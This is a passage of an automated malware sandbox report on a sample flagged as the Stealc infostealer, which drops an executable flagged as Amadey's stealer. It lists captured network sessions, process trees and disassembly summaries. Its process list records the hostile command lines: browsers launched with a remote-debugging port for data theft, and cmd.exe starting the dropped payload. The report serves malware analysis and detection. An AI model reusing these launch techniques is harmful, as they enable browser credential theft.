2024-11-21 19:00:12 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:12 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:13 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190012Z-174c587ffdfcj798hC1TEB9bq400000000kg000000000f0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 19:00:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Target ID:	0
Start time:	13:58:11
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x280000
File size:	1'823'232 bytes
MD5 hash:	81380B3F4700458353F68405BA69F471
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1995284969.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1470881324.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:58:21
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:58:22
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2152,i,10364576759027782429,328392540784859071,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:58:32
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:58:33
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2232,i,12845795122803726069,17176105221645412444,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:58:33
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:58:34
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:58:39
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6900 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:58:39
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6916 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:59:02
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIJKEHJJDA.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:59:02
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:59:02
Start date:	21/11/2024
Path:	C:\Users\user\DocumentsFIJKEHJJDA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFIJKEHJJDA.exe"
Imagebase:	0xd80000
File size:	1'908'224 bytes
MD5 hash:	873F4FF6922F79ACA237323377183153
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2055010965.0000000000D81000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1999434350.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:59:06
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7b0000
File size:	1'908'224 bytes
MD5 hash:	873F4FF6922F79ACA237323377183153
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2053785801.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2094273758.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:59:07
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7b0000
File size:	1'908'224 bytes
MD5 hash:	873F4FF6922F79ACA237323377183153
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2053541168.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2094097161.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:59:34
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=3092 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEF688,00001000), ref: 6CA635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA6363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA6369F
__aulldiv.LIBCMT ref: 6CA636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA63773
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA6377E
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA637C4
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA637CB
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA63801
__aulldiv.LIBCMT ref: 6CA63883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA63902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA63918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA6394C

Strings

GenuntelineI, xrefs: 6CA63639
GTC, xrefs: 6CA63912
MOZ_TIMESTAMP_MODE, xrefs: 6CA635DB
AuthcAMDenti, xrefs: 6CA63946
QPC, xrefs: 6CA638FC

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: e80a86d040168880eaa56773a3185f2448a2d595caf0c27c4e14aaa3b0116908
Instruction ID: 0b3ff63f825db01b3d1e5c401eb1f33a186228853fef750ff0d2da2d8956aca6
Opcode Fuzzy Hash: e80a86d040168880eaa56773a3185f2448a2d595caf0c27c4e14aaa3b0116908
Instruction Fuzzy Hash: F3B1CD71B093429BDB4CDF29D85465ABBF5EB8E700F04CA2EE899D3790D73099429BC1

Function 6CA7C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA7C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA7C969
GetSystemInfo.KERNEL32(?), ref: 6CA7C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA7C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA7C9E2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 979c81ae029a9f6d80c315e6b282edb2abe08e20c47fddf61252150fd2003764
Instruction ID: fbf43c1303c379c04e1527a57e21231a87513eb7241c92971a542dc7bda09e67
Opcode Fuzzy Hash: 979c81ae029a9f6d80c315e6b282edb2abe08e20c47fddf61252150fd2003764
Instruction Fuzzy Hash: DD212F357413156BD7989A68DC88BAE77B9FF4A708F50411DF90397640DB705C4487E4

Function 6CA63060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA63095

Part of subcall function 6CA635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEF688,00001000), ref: 6CA635D5
Part of subcall function 6CA635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA635E0
Part of subcall function 6CA635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA635FD
Part of subcall function 6CA635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA6363F
Part of subcall function 6CA635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA6369F
Part of subcall function 6CA635A0: __aulldiv.LIBCMT ref: 6CA636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6309F

Part of subcall function 6CA85B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA856EE,?,00000001), ref: 6CA85B85
Part of subcall function 6CA85B50: EnterCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85B90
Part of subcall function 6CA85B50: LeaveCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85BD8
Part of subcall function 6CA85B50: GetTickCount64.KERNEL32 ref: 6CA85BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA630BE

Part of subcall function 6CA630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA63127
Part of subcall function 6CA630F0: __aulldiv.LIBCMT ref: 6CA63140

Part of subcall function 6CA9AB2A: __onexit.LIBCMT ref: 6CA9AB30

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b79cb101c36b8a197d1dee50a0add366d2fcd26a98b94a140f52ff4ca2ee75a2
Instruction ID: 60da254845b9ac99213f61e0fa9a42f7442cc646b7da1ff88a05b4a8badca038
Opcode Fuzzy Hash: b79cb101c36b8a197d1dee50a0add366d2fcd26a98b94a140f52ff4ca2ee75a2
Instruction Fuzzy Hash: 34F0D612E2178597CB54DF34AD411EA7370EFAF214F11971EE88557511FB2062DD93C2

Non-executed Functions

Function 6CA75440 Relevance: 142.3, APIs: 54, Strings: 27, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA75492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA754BE
__Init_thread_footer.LIBCMT ref: 6CA754DB

Part of subcall function 6CA9AB3F: EnterCriticalSection.KERNEL32(6CAEE370,?,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB49
Part of subcall function 6CA9AB3F: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9AB7C

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA75516
GetCurrentThreadId.KERNEL32 ref: 6CA7556A
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA75577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA75585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA75590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA755E6
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA75606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA75616

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA7563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA75646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA7567C
free.MOZGLUE(?), ref: 6CA756AE

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA756E8
GetCurrentThreadId.KERNEL32 ref: 6CA75707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA7570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA75729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA7574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA7576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA75796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA757CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA75D24
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA754B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA75766
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA757C5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA75D1C
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA75724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA7584E
[I %d/%d] profiler_init, xrefs: 6CA7564E
MOZ_PROFILER_STARTUP, xrefs: 6CA755E1
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA75C56
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA75749
k.exe, xrefs: 6CA757BC
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA75D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA754A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA75717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA75AC9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA7548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA75D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA757AE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA756E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA75BBE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA75791
Nvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exe, xrefs: 6CA75732
MOZ_BASE_PROFILER_HELP, xrefs: 6CA75511
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA75CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA75B38
GeckoMain, xrefs: 6CA75554, 6CA755D5

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

